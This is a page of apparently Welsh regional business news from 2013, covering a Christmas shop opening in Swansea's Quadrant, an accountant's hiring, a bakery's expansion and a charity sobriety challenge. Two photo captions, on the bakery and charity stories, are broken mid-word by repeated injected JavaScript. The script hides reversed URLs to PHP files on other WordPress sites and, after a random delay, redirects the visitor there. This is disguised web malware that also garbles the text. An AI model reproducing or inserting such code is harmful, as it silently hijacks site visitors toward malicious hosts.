Category: News

House full signs up at the Quadrant

Planet Christmas at the Quadrant Shopping Centre 261013

Christmas has come early to Swansea’s busy Quadrant Shopping Centre which is leading the retail recovery in the city by putting up the ‘house full’ signs as its last empty unit was filled at the weekend.

Planet Christmas, a local business specialising in all things Christmassy, moved in last week and now all 37 units at the centre are taken.

The new arrival has been warmly welcomed by Ian Kirkpatrick, Manager of the Quadrant Centre, who said: “We have been hopeful that the final piece of our retail jigsaw would fall into place and it’s great to have Planet Christmas here.

“It follows the recent arrival of Grape Tree, Blue Inc, Fragrance Shop and Menkind  who have all arrived in the past two months and mean that we are full once more.

“Quite apart from the boost that is to us it has also meant a boost to the area with over 30 new jobs created which has to be good news for everyone.”

For Planet Christmas it’s a first venture into a city centre location and Samantha Deakin, of Planet Christmas, said it was the Quadrant’s high footfall and occupancy that persuaded them to move in.

The new Swansea store is open to customers in the Quadrant Centre until Christmas Eve and Samantha, 28, who has run the Christmas shop operation on behalf of her father-in-law, Porthcawl businessman Dean Deakin, for the past seven years, says she is delighted to have taken over the very last vacant unit at the Quadrant for the glittery new shop.

She explained: “Ours is very much a family business. During the summer we operate holiday parks in south Wales and, for the past 10 years, in the winter we’ve been running Christmas shops in the same region.

“The first shop we had was in Festival Park, Ebbw Vale, and we went on to open another in the Bridgend Designer Outlet.

“We try to locate the shops in out-of-town shopping centres where the footfall tends to be greater than in high streets. But with the Quadrant we thought we’d try a shopping centre in the town centre because the careful research we do shows how busy it is.

“I’ve looked into it and found that the centre is really bucking the national trend and us moving in for Christmas means that none of its 37 units are now empty, which compares very favourably to Swansea as a whole which has more than 25 per cent of its shops empty and also the figures of 17 per cent for the whole of Wales and almost 11 per cent for the UK.

“I think it’s lovely we’re taking the last empty unit at the Quadrant and we’re really looking forward to making it part of our success story.”

Samantha, who used to help manage the family holiday parks before taking over the Christmas operation, added: “The shops always have a real Christmassy feel to them and, a bit like Santa, I work all year round to make sure they look warm and welcoming to customers and have all the right stock.

“The one in the Quadrant is no exception and I’ve tried to give it a real Christmas grotto feel. There are seasonal wreaths to welcome customers and inside we have warm red skirting around the shelves.

“It’s a real one-stop shop stocking in one place everything people need to have a great Christmas.

“This means we have items from fibre optic trees to kitchenware and that includes Christmas stockings, hats and fancy dress, ribbons, wreaths and garlands as well as tablecloths, tea-towels and even trainsets.

“I’m very hands-on and work in our Christmas shops myself, so I know what customers want to buy and I make sure we have it. In fact, I personally pick and choose every item we stock.

“One of the lines we have are baby’s first Christmas decorations which aren’t always easy to find.

“We pride ourselves on have something for all the family. In our other Christmas shops we’ve had quite a few new couples coming in to buy everything they need for their first Christmas together and I’m expecting the same to happen in the Quadrant.

“We’ll initially have two or three staff running the shop and put in one or two more when things become really busy as Christmas gets closer.”

Samantha, who lives in Porthcawl with her husband Edward, said that if this year’s shop proved to be the success she predicts she would seriously consider returning to the Quadrant Centre ahead of next year’s festive season.

Monday November 4th, 2013

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Accountant Joanne tunes up to help conduct firms out of the recession

New member of staff at Coxeys, Wrexham Joanne Evans with, from left, Amy Bell, Joanne, Ellen Plack, Gruff Hughes, Rhiann Williams and Anthony Lewis

A young accountant whose hobby is playing in a brass band is helping to orchestrate a secure recovery from the recession for companies in North East Wales.

Joanne Evans, 37, has just joined the team of financial maestros at Coxeys Chartered Accountants and Registered Auditors, who have offices in Wrexham and Saltney.

She spends her days off playing the baritone horn with the Glyndwr University Brass Band and is now tuning up to use her expertise in the fields of audit and tax to help Coxeys’ clients.

The expanding accountancy firm says the local economy is showing “encouraging signs of recovery” from the financial traumas of the past five years.

Welsh-speaker Joanne, who lives in Wrexham, was born and raised in nearby Coedpoeth and attended Ysgol Morgan Llwyd.

Leaving school in the early 1990s, her first job was an office administrator with a Wrexham town centre estate agents.

While she was there and in her own time she studied to become an accountant, obtaining the Association of Accountancy Technicians qualification in 1997.

Joanne qualified as a Certified Chartered Accountant in 2001 and was delighted to land the job with Coxeys which represents a wide range of clients from sole traders right through to international market leaders.

In her spare time, Joanne swaps financial spreadsheets for musical scores as a member of the Glyndwr Brass Band with which she has been playing at events across the UK since she was a teenager.

In fact, it was as a result of the band that she met her 39-year-old husband Neil who is a cornet player with the same outfit.

The couple have two children, six-year-old Callum and Mia, three.

Of her new appointment with Coxeys Joanne said: “One of the main reasons I wanted to join the firm was because it offers such a wide range of training in all aspects of accountancy and is also extremely committed to the personal development of its staff members.

“I’ve always worked in the area of audit but with the training Coxeys provides I am now learning many new aspects of the job such as tax and accounts preparation. This means I’m not just dealing with one speciality but gaining experience of every aspect of the organisation.

“Coxeys is famous throughout the industry for its commitment to its staff and their training which was shown when it became the first and only firm of accountants in Wales to be awarded in Investors in People Gold Award in 2011.

“That’s an internationally recognised standard and really counted for something when it came to me deciding to come to Coxeys.

“The training may be good but the people in the office are also great. There’s a fantastic atmosphere and everyone has been very helpful since I started my job here.

“I think that sort of friendliness also comes across to the clients and enhances the service we are able to provide for them.”

Coxeys Director Anthony Lewis explained that Joanne is the most recent addition to a great of key staff who would enable the practice, which is one of the largest and oldest-established based in Wrexham, prepare for local companies’ emergence from recession.

He said: “There are encouraging signs of economic recovery in some areas after a number of very difficult years.

“Many local companies will be needing special help as they recover and that is exactly what we are able to provide for them.

“We have built up a strong team of qualified accountants plus trainees to supply that high level of professional expertise and Joanne is a very important part of that.

“I think our new staff members are a sign not just of the confidence we have in the future of our practice but also that of the whole local economy.”

Anthony added: “We are an approved training practice for the three main accountancy bodies, the Institute of Chartered Accountants in England, Wales and the Association of Certified Chartered Accountants and Association of Accounting Technicians.

“We place great emphasis on the personal development of our team members, which is why we gained the Investors in People Gold Award two years ago.

“This commitment is one of the main reasons why people of the highest quality such as Joanne decide to join us.”

Thursday October 31st, 2013

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Award winning Village Bakery on a roll with 60 new jobs in Wrexham

VILLAGE BAKERY WREXHAM MINISTERIAL VISIT. Pictured is Robert Jones , Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Village Bakery with Llord Green, Edwina Hart and Alun Jones

Wales’s fastest growing company is creating 60 new jobs in Wrexham.

The news was announced during a visit by Welsh Economy Minister Edwina Hart and UK Minister for Trade and Investment Lord Green to the Village Bakery.

The award-winning bakery also unveiled the fact that it is developing plans for a new training academy and innovation centre at their premises on Wrexham Industrial Estate.

According to the family-run firm, the support of the Welsh Government has been crucial to their spectacular growth.
More than 20 new jobs have already been created at Village Bakery – with a further 40 to follow – as a result of a £1.8 million expansion supported by a £565,780 grant from the Welsh Government.

The investment will more than double staff numbers at the site and enable the business to increase capacity, invest in equipment and introduce additional lines to take advantage of new contracts from major supermarkets.

The Village Bakery recently named as the fastest growing company in Wales at the Wales Fast Growth 50 Award.

Mrs Hart said: “This is excellent news. This investment and expansion will not only support the growth of the business and is already creating new jobs, but will bring additional benefits to the Welsh economy through increased supply chain activity.

“I am pleased financial support from the Agri Food Development Fund enabled The Village Bakery to respond swiftly to maximise commercial opportunities as they arose with their key customers. It is another example of how the Welsh Government is helping business growth and job creation.”

The Village Bakery was recently named as the fastest growing company in Wales at the Wales Fast Growth 50 Awards.
During a tour of the facility Managing Director Robin Jones stressed the support from the Welsh Government’s Agri-Food Development Fund had been essential for their recent expansion.

He said: “We would not have been able to grow the business as we have without this support and the owners are very grateful. It illustrates that with government support we can grow a business and survive and flourish during an economic downturn.

“Our record is also  testament to the quality and hard work of the people that we have here. We also have some excellent customers so it’s a winning combination.

“We have a desire to continue this rapid growth and have an appetite for expansion.

“We are developing plans that include a new training and innovation centre with the facilities to train the next generation of bakers to ensure the sustainability and long term future of the business and are also considering proposals for a new 60,000 sq ft bakery.

“We believe it is important for us to generate home-grown talent. Most of our bakery managers and supervisors started out as apprentices and we want to build on this tradition.

“We’re very aware that there is a skills shortage and that it can be difficult to attract the right calibre of staff.

“The planned training academy will be an excellent facility which we hope will include a dedicated bakery and lecture theatre to ensure we have teams of trainees coming through.

“While we are extremely proud of what we have achieved we are not content to rest on our laurels.  The proposed innovation centre will enable us to improve existing products and  developing new ones.

“The centre will also help in us improve our methods and processes whilst staying true to our traditions as craft bakers and strengthening our commitment to using local ingredients.

“Using local ingredients is great for the local economy and also sets us apart from the competition which will help us make better products and make us a stronger business.”

The Village Bakery, which is based in a 30,000 sq ft unit on Wrexham Industrial Estate, began trading in 2011 and has seen turnover increase from £400,000 to £6million. The funding was to support the creation of 63 new jobs – twenty have already been created, with a further forty three to be created, which will bring total employment on site to 118.

The facility produces baked products, including Welsh cakes, scones and pancakes both frozen unbaked for in store bakeries and baked and wrapped for retail.

Thursday October 31st, 2013

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Caring Wrexham shop boss stays sober in memory of her beloved Nan

Sarah Brookshaw, left, manager at Bank at Eagles Meadow, Wrexham and assistant Kayleigh Harrison are taking part in Sober for Oc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tober. They have given up alcohol for a month $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to raise cash for Macmillan.

A caring clothes store manager is giving up booze for an entire month in memory of her beloved Nan.

Sarah Dixon, 29, manager of Bank clothes store, at Eagles Meadow shopping centre, Wrexham is taking part in the UK-wide campaign, Go Sober for October- also known as Ocsober, in aid of Macmillan Cancer Support.

Sarah, who has already surpassed her original target of £100, lost her grandmother, Agnes Roache, to cancer in 2006.

Sarah said: “It’s a cause that’s dear to my heart.

“Macmillan Cancer Support helped my family so much during a very tough time.

“My Nan got over cancer the first time. She had a few years clear, and then unfortunately it came back and spread throughout her body. She just gradually started to deteriorate, and then everything began shutting down.

“A lot of people have family or friends that have been affected by cancer.

“Since my Nan died I’ve done the Race for Life twice, and I often put money in collection plates in little tins and things.

One in three of people will get cancer at some point in their lives and Macmillan Cancer Support ensures people don’t have to go through it alone.

They stay with people every step of the way, from the nurses and therapists helping people through treatment to the campaigners improving cancer care.

The Go Sober campaign started in Australia as Dry July in 2008 as a challenge among friends, Brett Macdonald, Phil Grove and Kenny McGilvary.

Over 1,000 took on the challenge and raised $257,283.

Since then the non-profit organisation that has raised over $15 million and has now migrated to the other side of the world to create Go Sober in the UK.

Kayleigh Harrison, 21, who works with Sarah at Bank at Eagles Meadow, is also taking part to support a friend who recently got diagnosed with breast cancer.

She said: “She had an operation, they said it was fine, and now they’ve got to take the breast away.

“We’ve all got our fingers crossed that she pulls through, and I’m doing Ocsober for her, to show support and solidarity.

“Cancer does affect a lot of people, and the money does go to help people, it goes to research so it. It makes a really big difference. Every little penny counts, so let’s get sponsoring.

“People aren’t putting peer pressure on me to drink or anything like that because they know it’s in a good cause. They’ve been really supportive.”

Sarah added: “It’s also going to be positive in a lot of ways. We’re also going to save on our calories. We’re saving money. It’s nice to have a little detox, ready for Christmas.

“I think it’s great to give back and any little thing we can do we will. There’s a few of us taking part in Ocsober and we’re aiming to raise £1000 in total.

“When we finish there’s going to be a big blow out. We’ve got one organised for either the Friday or the Saturday, the 1st or 2nd of November.

“We’re going to have a well-deserved few drinks and a girly night. We’re guaranteed to be dancing the night away.

To donate to Sarah please visit www.gosober.org.uk/profile/sarahdixon and to donate to Kayleigh please visit  www.gosober.org.uk/profile/kayleighharrison. For more information about Macmillan visit www.macmillan.org.uk.

Thursday October 31st, 2013

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